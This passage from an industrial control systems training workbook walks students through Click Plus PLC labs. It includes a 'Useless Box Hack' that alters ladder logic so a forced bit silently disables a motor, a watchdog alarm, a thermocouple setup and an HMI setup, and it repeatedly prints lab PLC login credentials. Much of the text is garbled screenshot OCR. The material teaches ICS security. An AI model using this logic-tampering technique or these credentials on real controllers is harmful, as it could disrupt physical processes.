* PLCRunning_HIGH - represents the PLC is running the ladder logic

* PLCRunMode_High - represents the PLC switch is in Run mode

+ SC2_FirstScanBit_HIGH - represents the Click Plus System Control (SC) relay First Scan Bit is "On". The First Scan Bit is "Off"
after the first scan is complete

+ X201_UboxOnSw_HIGH - "X" represents an input to the PLC. When this bit is "On" or "High", the Useless box switch is in the
"On" position

+ X201_UBoxOnSw_Low - "X" represents an input to the PLC. When this bit is "Off" or "Low", the Useless box switch is in the "Off"
position
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. C1_HackUBox_HIGH - represents that PLC memory location C1 is "On". When C1 is "On", the Useless box motor will not
operate.

+ C1_HackUBox_LOW - represents PLC memory location C1 is "Off". When C1 is "Off", the Useless box motor will operate
normally

+ C13_0OutOfAlarmAck_HIGH- represents PLC memory location C13 is "On". C13 is used for the Out of Alarm and Acknowledge
bit. When this bit is on, the alarm condition no longer exists, and it has been acknowledged

* T3_UboxWD_Reset - T3 is allocated within the Click PLC as the Useless box watchdog timer. The T3 Useless box Watchdog
timer starts when the Useless box switch is in the "On" position and is reset when the Useless box switch is in the "Off"
position. For a watchdog timer alarm to occur, the Useless box switch would remain in the "On" position without the Useless
box switch toggling back to off position.

* T3_UboxWD_Start - T3 is allocated within the Click PLC as the Useless box watchdog timer. The T3 Useless box Watchdog
timer starts when the Useless box switch is in the "On" position and is reset when the Useless box switch is in the "Off"
position. For a watchdog timer alarm to occur, the Useless box switch would remain in the "On" position without the Useless
box switch toggling back to off position.

+ YO1_UBoxOutput_High - YO1 represents the Click Plus output "Y1" being "On" or "High". The Y1 output is a relay output and
when energized or "High" will allow the Useless box motor to run normally.

+ YO1_UBoxOutput_Low - YO1 represents the Click Plus output "Y1" being "Off" or "Low". The Y1 output is a relay output and
when deenergized or "Low" will stop the Useless box motor from running normally.

State Transition Tables

The details of what should happen during each state cannot be fully determined by simply looking at the State Transition
Diagram. We need the ability to define in more detail the actions that should occur during each state. The authors of the state
diagraming methodology included a mechanism for us to define the detail of each state in a State Transition Table. A State
Transition Table allows us to define the condition(s) that trigger a transition to another state, it allows us to define what action(s)
to take once we enter the state and the actions we should take once we exit the state. Let's look at the details of each state's
transition table. Remember, State Diagrams and State Transition Tables are only a method to document how the program should
be coded so the operation of the PLC system will operate as intended.

"Init" State Transition Table

Callout 1: The name of the state. In this example "Init" is the name of state

Callout 2: This entry list the states that can be transitioned to from the Init state. In this instance we transition to Idle state if the
PLCRunning_HIGH bit is set

Callout 3: The exit action occurs when we transition from the "Init" state to the "Idle" state. We set the SC2_FirstScanBit_High and
the PLCRunMode_High bit to "On" or "True"
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Init 1 Entry action

eXit action 3 SC2_FirstScanBit_High
PLCRunMode_High

Idle 2 PLCRunning_HIGH

"Idle" and "Alarm" State Transition Table

Callout 1: The name of the state. In the following two examples, we see "Idle" and "Alarm" states

Callout 2: The list of states that can be transitioned to. In the "Idle" state, we can transition to the "Running" state if the
X201_UBoxOnSw_HIGH bit is set. In the "Alarm" state, we can transition to the "Idle" state if "C13_OutOfAlarmAck_HIGH" is set

Callout 3: The Entry action occurs when we transition into this state. In the "Idle" state example, we want to set the
T3_UboxWD_Reset bit to "On" or "True" when we enter the "Idle" state.

Callout 4: The Exit action occurs when we are transitioning to another state. For the "Alarm" state, we want to reset the T3
Watchdog timer.

Idle " Entry action 3 T3_UBoxWD_Reset
eXit action
Running 2 X201_UBoxOnSw_HIGH
Alarm 1 Entry action
eXit action | 4 ' T3_UBoxWD_Reset
Idle l 2 I C13_OutOfAlarmAck HIGH

"Running" State Transition Table

Callout 1: The name of the state. In this example we see the "Running"” state.
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Callout 2:& 3: The list of states that can be transitioned to from the "Running" state. In this instance we can transition to the

"Alarm" state if the Useless box watchdog timer named "T3_UBoxWD_OVER" times out. We also see we can transition to the "Idle
state if the Useless box switch input named "X201_UBoxOnSw_Low" is "Off" or "False"

Callout 4: The Entry action occurs when we transition into this state. In this example, we set the T3_UboxWD_Start bit to "On" or
“True"

Callout 5: The Input Action boxes represent the inputs that should be considered in your programming and what should occur
when you see the input condition listed. In this example when we see the C1 memory coil in the Click Plus PLC which we have
named "C1_HackUBox_High" bit transition high, you will program the Click Plus PLC to turn the YO1 output off.

Callout 6: The Input Action box C1_HackUBox_LOW represents what should happen if the Click Plus C1 memory coil in the Click
Plus PLC which we have named "C1-HackUBox" is "Low", or "Off". If the C1 memory bit is low, we will turn output YO1 named
"Y01_UBoxOutput" "On" or "True".

Running Entry action 4 T3_UBoxWD_Start
- eXit action
C1_HackUBox HIGH | 3 Y01_UBoxOutput_Low
C1_HackUBox LOW 6 Y01_UBoxOutput_High
Alarm 2 T3 _UBoxWD_OVER
Idle 3 X201_UBoxOnSw_LOW

While this may seem confusing, it defines the behavior of what we are expected to program. Let's move to our programming
environment and write a ladder logic program to achieve our requirements.

Task 2 -- Write a PLC program to control your Useless Box

Let's start with the question: How do we enable the Useless box to operate as normal?

Answer —we need to energize output YOO1. If we remember in our previous examination of the wiring diagram, we need to
energize the Click Plus PLC output Y001 in order to provide an electrical path from +5VDC, through the Useless box motor to the
electrical Common termination point.

So, if we enter a simple rung to energize output Y01 then the Useless box should run normally.

1. Open the Click Plus PLC Project titled " clickLabe1.3.ckp " located in Lab Files\Lab 1.3\click Folder. Modify the ladder
logic project to add a Y001 output as shown below to continually energize output YOO1. After you modify your ladder logic
project, download the program to the PLC.
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L

Clip Board

Program  Function PLC

=-4%) Ladder Program
E Main Program
«E Subroutine Program
@ Interrupt Program
&P Address Picker
-.# Edit Rung Comments
- Local Program Informati
& syntax Check
£ Cross Reference View
=B Monitor
JB Status Monitor
- Data View

" ¥H Dataview1
53 Text View
58 MQTT Text View
P& Override View
-/l System Monitor
=-110] PID(Monitor/Configuration)
s PID Setup
-3 PID Monitor
| PID List View

CLICK Programming Software (Version 3.21) - ClickLab01.3.ckp - [Main Program|

Flasher On Timer
Timing
OnTimerTT F

Flasher Output

lasher

TCIS B Y003

Ve
6

o)

Enable Useless Box
Motion
EnableUseless

As a refresher on how to accomplish your ladder logic modifications, you will highlight the " End " rung, right click and

" Insert Rung Before Cursor .

You will drag and place an Output coil in the right NOP cell and assign this "Out" coil to memory location Y0O01.

You will then download the project by selecting " write Project " on the Home tab.

The "Connect to CLICK PLC" window will reappear with your manually set IP Address and Subnet Mask. In the example below,
we see the Click PLC IP Address set to 172.16.1.2 with a subnet mask of 255.255.255.0.

2. Click " connect " to continue the Write Project process.
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Connect to CLICK PLC
Sl CLICKPLC

This Computer

: 7' e
A ! il
. " Ethernet & Ethernet &;Ei _I

Direct connection

~
i

Port Type: P E o Location of the target CLICK PLC
(@ In the same LAN (Scan all CLICK PLCs in the LAN automatically.)
Network Adapter: o
Outside this LAN (You need to allocate IP address and port number manually.
Intel(R) 82574L Gigabit Network Connection v Al B v)
Port Setiing PLC Name IP Address Subnet Mask PartNumber ~ Firmware Mode Status  Mac Address
[P Address: 721611 | linwkin | |ver3.21 | Goop 0
172.16.1.12 ver3.21  [ed 00:D0:7C: 1A:01:35 |
Subnet Mask: 255.255.255.0
Default Gateway: 172.16.1.1
Refresh Blink RUN & ERR LEDs Edit...

When you are prompted for the password, you will enter:

User Type: admin
Password: sansics123

Login X

Please Enter User Type and Password.

User Type: | admin

Password: | Bansics123

[] view Password
Factory Default Password = "dick”

Forgot Password?

e

3. After downloading your program, make sure the Click Plus PLC is in "Run" mode. Operate your Useless box switch to the " on'
position and the Useless box motor should run as normal causing the Useless box arm to move the Useless box switch back

tothe " off".

Task 3 -- Write a Useless Box "Hack"

We also know from the State Diagram that we need to inhibit the Useless box motor when we turn memory bit C1 "On". We will do
this by adding a Normally Closed (NC) contact in front of the Y001 Enable Useless box output coil. Let's do this now.

1. Go offline by selecting the Home tab and click " online " in the menu to toggle the PLC offline.
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2 Place a Normally Closed (NC) C1 contact in front of the Y001 output. Do this by selecting column "A" on the Y001 rung and
then drag a Contact (NC) in the right-hand Instruction List window to column "A" of the Y001 ladder logic.

By adding this ladder logic, when C1 memory bit is energized, the C1 contact on rung 5 will change from normally closed to
the open condition thereby de-energizing the Y001 output. When Y001 output is off, it will stop the Useless box motor from
operating. This in effect will cause the Useless box to not operate as intended by simply changing the PLC ladder logic code

= (u] X
Monitor Window  Help m SQ!le - @ X
@ @ £ Address Picker c T Read Project
2 L ¢ Cross Reference Wy Write Project v
Undo R Som .
A Paste 9 iErse | (¥ Nicknames Sl U BsyntacCheck | ™™ GBpLCInformation | () PLC Error
CipBoardl]l ___ Eat M view | “ m |__status | _Monitor_|
Navigation ax A I B I c [ o AF : ax
Program  Function PLC
=) Ladder Program A
E Main Program F— mTD2
8 Subroutine Program
@ Interrupt Program —
& Address Picker Flasher On Timer
@ Edit Rung Comments Timing Flasher Output
- Local Program Informati OnTimerTT Flasher
- [: [&) 8 v003
& syntax Check 4 %) CouT )
€9 Cross Reference View boad &
=& Monitor
E Status Monitor Hack Useless Box
0=As Designed, Enable Useless Box T
= ¥B Data View 1=HACK! Motion 8 Timer
B DataView! HackUseless EnableUseless o) Counter
5 Text View : [a} B Y001 Advanced
5 MQTT Text View s | —F Lout) #3 Math
P& Override View \ , e Drum
[ System Monitor - sh Shift Register
= mo| PID(Monitor/Configuration) 6 {_END ) Copy/Search
m PID Setup i Copy
3% PID Monitor a0l Search
1@ PID List View z { NOP ) Prograsm Control
(o] Call
E For
8 { NOP
_— ' ) o [ Next
< > < = End v

|Esu [ Integer -Integer(lwotds) (B Floating point [l Hex [MTet  [AlAscii - 0024/8000 C2-01CPU 5:1:8

3. Download your program by selecting " write Project " to the PLC. If you are prompted to save your project, select " ves ".

4. Once you have downloaded your program and are online with the PLC, open the DataView1 window, add variable C1 to the
address list.

5. Force the C1 valueto " on " by making sure the view override checkbox is selected. Click " on " in the New Value column and
make sure the current Value columns confirmsthevalueis"on".
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CLICK Programming Software (Version 3.21) - ClickLab01.3.ckp - [Main Program]

File © Home Edit View Setup  Progam  Instruction | PLC.. Monitor ~ Window  Help @ Style ~ = & X
@ Connect. ™g Read Datafrom PLC... ) Read Project from PLC... £ Calendar/Clock Adjust... [} 50 Contol Center (] Emror History... [¥] Reset to Factory Default
) Disconnect.. % Write Datainto PLC... ) Write Project into PLC... 0 PLC Modes... % Clear Memory...
i3} Online Project Information... & Update Firmware...
Navigation ax A I B I c o I AF A Instruction List 2 x
Program Function PLC Fla FH Data View -[DataView1) = a X B Instruction
=¥ Ladder Program { [/ View Override y Contact |
2] Main Program I Edit Fil Qown m Write All New Values I L R [4H Contact (NO)
@ Subroutine Program —_ Contact (NC)
@ Interrupt Program No. |Address ]Mdv\une [Cmenk Value [New Value Write | Viewing Form([Adﬁess Comment I ~ 070} Edge Contact
& Address Picker ; i ! Compare
@ Edit Rung Comments 002_|Bict [Haddseless  On | on_Off Bt 'Hack Useless Box 0 Coil
LQ) Local Program Informati - - . " - ] o Out
& Syntax Check 004 [ 6] Set
£ Cross Reference View — 005 ol Reset
B @ Monitor Fla |006
Timer/Counter
B Status Monitor 007 ut |
=B Data View | |oos | I Timer
TE Dataview! . = o0 Counter
=) Text View 010 Advanced
5 MQTT Text View 011 43 Math
B Override View H‘T 012 Box 1 Drum
[0 System Monitor 7 Jo13 SA] Shift Register
(=0 PID(Monitor/Configuration) f 014 v 5 Copy/Search
A PID Setup ¥ | |wed Copy v
T PID Monitor < | | export Close e | A |
A PID List View Output | B 2 x
ClickLab01.3 - 0 error(s), 0 warning(s) ~
Write Project into PLC...
Transfer completed.
v

LA

6. Turn your Useless box switch to the " on " position and the Useless box motor should not operate. We refer to this as the
"Useless Box Hack"!

Task 4 -- Write a Useless Box "Hack" Watchdog Timer

We also want to start creating an alarm condition when the Useless box switch is in the "On" position and the motor isn't moving
the arm forward to turn the Useless box switch to the "Off" position. It is common to create a Watchdog timer in embedded
systems to guard against being stuck in a state without a way to exit to an alarm state. We will load ladder logic to allow the
Watchdog timer to begin to run whenever the Useless box switch is in the "On" position. We will use memory bit C2 to indicate we
are in alarm condition.

1.Close the clickLabe1.3.ckp project and open the Click Plus PLC Project titled " clickLabe1.3-complete.ckp " thatis located
intheLab Files\Lab 1.3\Click Folder.
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CLICK Programming Software (Version 3.21) - ClickLab01.3-complete.ckp - [Main Program] = [m] X

Clip Board View | Monitor

Program Function PLC Hack Useless Box
0=As Designed, Enable Useless Box
-4} Ladder Program 1=HACK! Motion
E Main Program HackUseless EnableUseless
8 Subroutine Program T a f. Y001
D Interrupt Program /{’ . out )
&P Address Picker
- Edit Rung Comments Usilias B OF [CT':('?N Delay) T3| T3 Useful Box
- Local Program Informati Switch hre Value Not Retained| Watf,hDog g’""
ms| BoxWi
B4 Syntax Check U“"".B;“zg“ Wi Int Single UBox Watchdog T3
-3 Cross Reference View ™ Timer Preset
- Monitor 2 11 == Timer3 Useful Box Preset [0t
~JB® status Monitor ISetPoint
78 Data View
_., Text View
-5 MQTT Text View
PR Override View (Current mTo3
~.[W System Monitor —
0| PID(Monitor/Configuration) T3 Useful Box Useful Box WatchDog
h PID Setup WatchDog Timer Alarm
3% PID Monitor UBoxWD UboxWDAlarm
-} PID List View 13 EC2
7 | {our)

2. Download the clickLabe1.3-complete.ckp program to the Click Plus PLC by selecting " write Project " on the Home tab.
Make sure you are online with the Click Plus PLC after you have successfully written the project to the PLC so you can turn the
C1 Hack Useless Box memory coil "On".

:

Clip Board W Program

3. In the Navigation window, right click on pata view and add DataView1. Open the DataView1 window.
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Navigation 2 x
Program Function PLC

5§23 Ladder Program
] Main Program
53 Subroutine Program
@ Interrupt Program
& Address Picker
@ Edit Rung Comments
O Local Program Informati
g Syntax Check
£ Cross Reference View
& Monitor

n Data View
wﬂ J

3 MQTT Text View
P& Override View
n System Monitor
- ol PID(Monitor/Configuration)
{2 PID Setup
2% PID Monitor
AR PID List View

4. In the DataView1 window select the " Edit " button. Then enter C1 into the Address column select " on " and enter a preset for
Timer T3 by typing "DS3" into the Address column, and 3000 into the "New Value" column. Click " write A1l New Values"and
this will turn C1 on and enter the value 3000 into the DS3 register.

Data View -[DataView1] - m| X
View Override
Edit | Fill Down | Write All New Values | ( R | oN ;J YEF
No. |Address Nickname ICurrent Value IVlewing Format | A
o001 [Blc1 HackUseless on Bit
002 DS3 Timer3 Useful Box Pr3000 Integer
003
004
005
006
007
008
009
010 .
(& Export | Close Help

5. Flip the Useless box switch to the " on " position and the motor should not energize. The Watchdog timer should time out and
you should observe bit C2 go "On" to indicate an alarm condition. Prove this by closing the Data View window and examining
the ladder logic. You should see the T3 Watchdog Timer has timed out and memory coil C2 Useless Box Watchdog Alarm bit
should be on.

© 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson 57



Timer(ON Delay)
(Current Value
U % Unit
t Single UBox Watchdog
Timer Preset
6 T =] Timer3 Useful Bo
rade
SetPoint mos3
Current mTo3
3000

T3

Not Retained

ms

9

x Preset

UbexWDALsrm

[ : [

8

o)

<

{eno )

>

6. Go offline with the PLC by selecting the Home tab and click " ontline " in the menu to toggle the PLC offline.

File ~ Edit View Setup Program Instruction PLC Monitor Window Help

& Cut &= = -« Cusor v RungComments B Navigation [ﬁ Iﬁ m

<2 Copy # Line v Address Comments | Instruction List ¢ Cross Reference
A Undo % Emse 2] Nscknames CEU II'O Sofl:vm & Syntax Check

7. Close the project without saving by selecting " File " and then " Close Project .

1. When memory coil C1 - "Hack Useless Box" is energized in program ClickLab01.3-complete.ckp, is the C1 contact on Rung 5

£ Address Picker

open or closed and why? (see Task 4, Step 5 for a screen shot of Rung 5)

Connect

2. When a Click Plus PLC timer is energized, does the accumulated value stop incrementing once it is equal to the Preset value?

3. Is it possible to override a Click Plus PLC output within the Override View?

Exercise Takeaways

M Style ~ - & X

SER T T

Wi Write Project B oot 7B Data View ~
&B PLC Information

When any output device is interfaced to a PLC, the code is responsible to turn the device on and off. Intentionally or

unintentionally the output can be turned on or off with good or bad coding practices. We saw where the Useless box motor can be
controlled by turning a bit on or off through the PLC logic. As we program PLC's to control more complex systems it becomes
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challenging to verify and validate the PLC code, especially for abuse case studies. Having a good method for conveying intended
behavior is paramount so a PLC programmer can factor in all the use cases.
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Background

Lab 1.4 -- Integrating Analog Input

Total Lab Time: 20 minutes

Objectives

+ Review the wiring of a K Type Thermocouple to your Click Plus PLC

+ Modify the setup configuration of the Thermocouple module to accept a K type thermocouple

» Write a PLC program to display the current value in the Click Plus PLC register DF1

« Parse out the current value into a binary temperature format, which will be used in a later C-more HMI lab

Task 1 -- Review the wiring of a K Type Thermocouple

The Click Plus PLC has a dedicated Thermocouple input module where the physical thermocouples connect. The following wiring

diagram represents the K type thermocouple wiring.

Click T/C Module

C0-04THM

COM @
TC1+ ©
TCl- @
TC2+ O
TC2- @
coOM ©
TC3+ ©
TC3- @
TCA+ O
TC4- @

e
K Type T/C

It should be noted, a Thermocouple has a positive and negative lead and can be wired incorrectly. In most cases if a

Thermocouple is wired backwards, the temperature indication will go down as the actual temperature increases and vice versa, if

the actual temperature decreases then the temperature indication will increase.
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Task 2 -- Modify the setup configuration

Because a thermocouple module can be configured for different types of thermocouples, you must check to make sure your
module is set to type K. We also want the data from the thermocouple to be sent to data register DF101.

1. To modify the configuration, open the Click Plus PLC Project titled " clickLabe1.4.ckp "located in Lab Files\Lab 1.4\Click
Folder and go online with the Click Plus PLC to download the logic to the Click Plus PLC. To download the Click Plus PLC,
select " Home " from the top menu bar and select " write Project".

=

Instruction PLC

Monitor ~ Window  Help

@ Style ~

&Clﬂ ﬁ—’qu v/ Rung Comments
v Address Comments

-2
CowUndo

# Line
Redo
4

il | J

CPUVOSOMIR

£ Address Picker
¢ Cross Reference

. Offline BB status
B PLCMode ] Data View -
(Y PLC Error

Select " connect ". When you are prompted for the password, enter:

User Type: admin

Password: sansics123

Then click " ok " and " ves " to change the Click Plus PLC to STOP mode. After the "Transfer Completed" dialog box appears,
select " ok " and then select " Run " to complete the download.

2. While online with the Click Plus PLC, select setup from the menu barand system Configuration.

CLICK Programming Software (Version 3.21) - ClickLab01.4.ckp - [Main Program]

File ©  Home Edit View | Setup., Program Instruction PLC Monitor Window Help @ Style ~ = & X
o Network Time Service... | ¥ ComPort..  [AMQITClient.. = Wireless Port. () Bluetooth Port. P SlotOPortl... 7 Sioti Por2. 4] @ PID Setup... [ Software Setup...
{3 Modbus TCP... (2 Modbus TCP... 7 Slot0 Port2... =)
() EtherNet/IP... GAMQTT Client... sttt Port... I
. o |l software |
Navigation 4 x A [ 8 [ C [ o AF ~ List X
Program Function PLC Flasher Circuit Flasher On Timer [Timer(ON Delay) Ti|  T10n Timer Instruction i
-1 Ladder Program Enable Done (Current Value Not Retained T"-“;?" Contact N
" FlasherCircuitEn OnTimerDn Unit ms)
g ;";" p"_’g';'“ Bca Int Single Word Off Timer fm——o~( ) SEptactined
% ubroutine Program } H Timer2Preset Output Contact (NC)
@ Interrupt Program £raoe|SetPoint DS2 [l Edge Contact
& Address Picker Compare
@ Edit Rung Comments Coil
L Local Program Informati o out
4 Syntax Check Current 01 st
€9 Cross Reference View o Reset
&8 Monitor Flasher On Timer
B8 status Monitor Timing Ih-_ r/Counter
= § Data View OnTimerTT ™ Timer
¥E DataView! / C5> 1| Counter
out Advanced
73 Text View ~
5 MQTT Text View i £3 Math
asher Circui
BR Override View T10n Timer Enable Flasher On Timer Done i Eh".';mk .
[ system Monitor TimeOn FlasherCircuitEn OnTimerDn agister
=70 PID(Monitor/Configuration) [: hal BCG [: [ Copy/Search
1A PID Setup |} I {out) io# Copy
2% PID Monit R L > st Search
lionitor
m PID List View Flasher On Timer °re
Done T2 Off Timer Program Control
OnTimerDn TimeOff Call
B BT For
|1 |
1T T Next
< > End v
Bisit  [Minteger @ Imegu(l words) (Bl Floating point [l Hex [T Tet Ascii | =-n- 0029/8000 | C2-01CPU L1A
3. From the System Configuration window, select " config " under the column named "I/0 1".
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System Configuration

PLC Name [ I (Max.24 characters)
[[Jstart-up 1/O Config Check
Btemal /S C201CPU C2-14DR  CO4THM CO-08ND3-1
-
- g C"
- = H
: x3 .
- - 5
5 = ¢
. = ?
System Input Total(pt)=30  Output Total(pt)=6 Power Budget(mA)= 240
Name ps |cru [sioto |siot1 ljo1 lijo2 lijo3 lio4 lijos lijos lio7 lijos |
Module T: External P/ C2-01CPU C2-14DR CO-04THM C0-08ND3-1
X001-X008 X101-X114  X201-X208
Input(DF) DF101
Output() | Y001-Y006
Output(DF)
[PwrBudget(mA) | +1500 -110 -75
= = B 5 =
Config... Config. Config... Config... Config... Config... Config...
RUN mode will be delayed about 5 seconds after power-up because of a C0-04THM.
[] Assign Nicknames & Comments when Analog 1/0 Used View 1/O MODBUS Addresses oK | Cancel | Hebp

4. Verify the Input Type is set to Type K (-283F to 2502F) and the Data Register is set to DF101.
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CO-04THM Setting X

Module Setting
Channels to Use |1 S unit: Oc @F Enable Burnout Detection
% Continuous Address
_ SIPHLEEAGE e P Data Register
o Input Type: Max:|2502.0 F 2502.0 g
TR = :l_. v [DF101
ype K (-238F ) Min: |-238.0 F -238.0

o T
Type E (-346F to 18327 Enable Range Limiter Resolution: [0.1
[E— T De K (-238F to 2502F

Type R (149F to 3214F) S
Type S (145F to 3214F) =B ——
Type T (-382F to 752F) Max:| 1400.0 F 1400.0

CH2 | IType B (984F to 3308F) = . =
Type N (-94F to 2372F) Min: |-310.0 F -310.0 s 01
Type C (149F to 4208F) Enable Range Limiter e '

Voltage (0 to 39.0625mV)
[|Voltage (-39.0625 to 39.0625mV)

Voltage (-78.125 to 78.125mV) Input Range Scale Range L
Voltage (0 to 156.25mV) Max: 1400.0 E 1400.0 o

CH3 Voltage (-156.25 to 156.25mV)
Voltage (0 to 1.25V) Min: |-310.0 F -310.0
Enable Range Limiter Eat
cHe | m = Max:| 1400.0 F 1400.0 ca8 RegsTE
Type J (-310F to 1400F
pe ] ) 1: 1-310.0 F -310.0
- 0.1

Enable Range Limiter

X101 = On when module is not functioning
X102 = On when module is initializing

X103 = On when CH1 senses burnout or open drcuit X109 = On when CH3 senses burnout or open drcuit
X104 = On when CH1 receives under range input X110 = On when CH3 receives under range input
X105 = On when CH1 receives over range input X111 = On when CH3 receives over range input
X106 = On when CH2 senses burnout or open drcuit X112 = On when CH4 senses burnout or open dircuit
X107 = On when CH2 receives under range input X113 = On when CH4 receives under range input
X108 = On when CH2 receives over range input X114 = On when CH4 receives over range input

Select ok on the next two screens. If the Click Plus programming software prompts to overwrite Nicknames select " ves '

This concludes the Thermocouple configuration.

Task 3 -- Write a PLC program

The Click thermocouple module will send a floating-point temperature to register DF101 due to our configuration. While online,
you can use the Data View window and enter DF101 into the address column to see the current temperature value being reported
by the thermocouple and the thermocouple module.

To finish up this lab in a challenging way, write a ladder program to represent the current integer value of the temperature in
binary by using the following memory bits:

Y209 = Temperature Binary 256
Y208 = Temperature Binary 128
Y207 = Temperature Binary 64
Y206 = Temperature Binary 32
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Y205 = Temperature Binary 16
Y204 = Temperature Binary 8
Y203 = Temperature Binary 4
Y202 = Temperature Binary 2
Y201 = Temperature Binary 1

For example, if the current temperature is 86°F, then we want to see bits, Y207 which equals 64 degrees F and Y205 which equals
16 degrees F, Y203 which equals 4 degrees F and Y202 which equals 2 degrees F. (64 + 16 + 4 + 2 = 86). Your ladder program
should turn the appropriate bits on to equal the current temperature.

Give it a try utilizing the math instructions to help you conquer this quest. Make sure you use the assigned Y201 through Y209 as
we will use this in our future HMI labs. You can utilize the status monitor view to verify your work.

If you want to see an example of a possible answer, load ClickLabe1.4 --complete.ckp and scroll down to the logic beyond rung
seven.

1. By setting the thermocouple to a different type, will the actual temperature be reading higher or lower?

2. What are the two main types of analog signals used by an ICS system?

3. How can we detect if an analog sensor has failed?

Exercise Takeaways

Analog signals are processed by a PLC typically using special analog modules. Popular analog modules include 0-20 ma, 4-20
ma, 0-10VDC, + 10VDC input and output modules. We also used a thermocouple module to read the millivolt input from a
thermocouple where the module scaled the input and reported it to a floating-point register. Many analog modules will have a
sensor loss detection circuit and will allow the programmer to take action once the sensor loss is detected.
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Lab 1.5 -- Local HMI Setup and Control

Background

Total Lab Time: 30 minutes

Objectives

+ Modify the C-more HMI Overview screen, the Flasher Timer Control, and map the function keys on the Menu Button screen
* Download the completed HMI program to the C-more HMI panel through the USB to Serial converter.

+ Establish communications from the C-more HMI and the Click Plus PLC via Serial Modbus

« Test the temperature screen and verify your binary temperature program in the Click Plus PLC is working properly.

« Verify the Useful Box "Hack" alarm and alarm state is working properly.

Task 1 -- Modify HMI screen, timer control, and map function keys

The C-more HMI is programmed with the C-more micro-Programming Software. It is used to program and download the student
kit C-more HMI. In this lab you will open up a partially completed C-more HMI project and finish the screens before downloading.
Let's get started!

1. In the Click Plus software, download the Lab Files\Lab 1.5\Click\Labe1.5-complete.ckp by selecting the " Home " menu item
then selecting " write Project".

File ' Edit  View  Setup  Program Instruction  PLC Monitor Window  Help B Style ~= & X
% Cut  gmw p « Curor v RungComments B Navigation Iﬁ @ m £ Address Picker ’; 5 Offline =
- T ¢ 2
-2 Copy # Line v Address Comments | _Instruction List "~ ¢ Cross Reference +] TF Data View ~
t L 47 Erase v Nicknames cfu V.O % — g Syntax Check —

Select " connect ". When you are prompted for the password, enter:

User Type: admin

Password: sansics123

Note

The Click Plus project files may have a different IP Address settings than what you require or that are now stored in your
PLC.

2. Select "use PLC settings "to keep your Click Plus PLC IP Address configuration.
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Select Network Settings

The Network settings do not match between the PC Project and the PLC Project.
Choose which Network settings you want to use.

l Use Project File Settings I

This setup will also be copied into the CLICK Project.

Use PLC Settings

[ PLC Name |

f Com1 Ethernet Port Project File

Security Configuration

(O Obtain Address from DHCP
(O Use default fixed address
(® Set manually

IP Address: | 172 . 16 . 13 . 12

Network Address
Configuration

|
Subnet Mask: l 255 . 255 . 255 . O ‘
|

Default Gateway: [ 175 36 3 B L

Obtain DNS Server address automatically

(®) Use the following DNS server address

DNS Server

I (L .

b f

PLC Setting
Enable IP Address to be changed from software

Enable Response to Ping from other devices
Obtain Address from DHCP
Use default fixed address
Set manually

IP Address: ‘ 172, A6 o 12

Subnet Mask: { 255 . 255 . 255 . 0 ‘

Default Gateway: [ e }

IS Server address automatically

Use the following DNS server address

Configuration PreferredDNSserver:I 8 = B D 0 [ — PrefenedDNSserver:I B A 0 }
[[] Altemate DNS server Altemate DNS server
AIternateDNSserver:i 0o .0 .0 0 [ AlhemaneDNSserver:} 0o .0 .0 0 ]
Timeout(0-30000ms):| 1000 s ms Timeout(0-30000ms):| 1000 s ' ms
ModbusTCP Configuration Retries(0-10):| 2 |2 — Retries(0-10):| 2 -
as Client(Master) — - —
Server Inactivity Timeout(0-3600sec):| 60 5 sec Server Inactivity Timeout(0-3600sec):| 60 < sec
/] Enable Modbus TCP Server Enable Modbus TCP Server
ModbusTCP Configuration TCP Port Number(0-65535): = TCP Port Number(0-65535): :
as Server(Client) Maximum Concurrent Sessions:3 _— Maximum Concurrent Sessions:3
Client Inactivity Timeout(0-3600sec):| 60 =1 sec Client Inactivity Timeout(0-3600sec):| 60 < sec
Cancel

3. Click "ok "and " ves " to change the Click Plus PLC to STOP mode. Make sure the "Run Time Edit" checkbox is not selected
when you download. After the "Transfer Completed" dialog box appears, select " ok " and then select " Run " to complete the

download.

4. Close the Click Plus application when the download is complete.

5. Open file explorer and navigate to Lab Files\Lab 1.5\C-more\Labe1.5.mgp and double-click the file. This should launch the

C-more micro-Programming Software.

Once the file is open, you will start to modify Screen 2 - TimerFlash screen. You will find the Off Time setpoint and actual
value that is already on the screen. Your task is to create the On Time setpoint and actual value.
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& C-more micro (Verd.35.0.0) - [LAbO1.5.mgp - #2 TimerFlash] — m] X

-
E File Edit View Tool Object Screen Database Setup Panel Window Help - & X
DE|d @& Q@] |[mImimlc]
Start aProject ‘ Simulate Project ‘ Send Project to panel
! Navigation ] x ! Object List x
Screen  Function Panel EHﬁBLE FLﬁSH ; uH Object  Library 0
OXBeE E- OFF Shape ~
\ Line
OFF TIME QN TIME Soree”
[ Frame
1773 s
n Pushbutton
([ Switch

-12. 345 S

| | Parts List x

Default Sample-1

4 - Useless
,—lamms ol || i v
IU I OU

2 - TimerFlash [m] Object Help | x
— «| Top Layer A
2 - TimerFlash
Backeround Screen
5 3 - MenuButtons [»]
L Object Group: Indicators
Backlight Cal
L‘M Number of Styles: 1
L] v
< >

(9™ X a M| X W[leoe = | F 52| FDE| %% %% Nk S

J Draw |==8 A A

Ready

6. Right click the Off Time Setpoint entry and select " copy ".
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& C-more micro (Ver4.35.0.0) - [LAbO1.5.mgp - #2 TimerFlash] . m] X
E':J File Edit View Tool Object Screen Database Setup Panel Window Help - 8 %
DE HBR|(GR|D |[mimimic]
Start aProject Simulate Project ‘ Send Project to panel
(m Navigation | = u H (m Object List x
EMAELE FLASH o :
DX B - OFF Shape ~
\\ Line
A [] Rectanele
oM TIME Qcicl
[ Frame
Button
Pushbutton
([ Switch
ma Radio Button v
E Parts List x
Bring to Front ~
2 - TimerFlash IllliH“ Send to Back IlF*|‘I=iIHII o
Bring Forward
SendEahward Default Sample-1
HME [ TMR [ THP | EOX |ALM Group
3 - MenuButtons Ungroup \
el o/ || . N
Fox Hack En | e, & Object -> Library...
2 - TimerFlash [ Object Help | x
Object Properties...
Top Layer A
2 - TimerFlash 1234512345)
Backi d S
L S nbren
ek D Object Group: Entry
Backlight Call
=== L e e Number of Styles: 2
» v
< >
[C o JI==8 A 4| |90 % a M| X O|leste = | F 4+ 3|5 0| T % Gh G| W %=

Ready

7. Right click on the background and select " paste " to duplicate the Off Time setpoint. Move the setpoint under the On Time

text.
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E C-more micro (Ver4.35.0.0) - [LAbO1.5.mgp - #2 TimerFlash] — O X

Q File Edit View Tool Object Screen Database Setup Panel Window Help - & X
PN |[mimimlic]
J Start aProject ‘ Simuiate Project ‘ Send Project to panel
(m Navigation | = u H (m Object List x
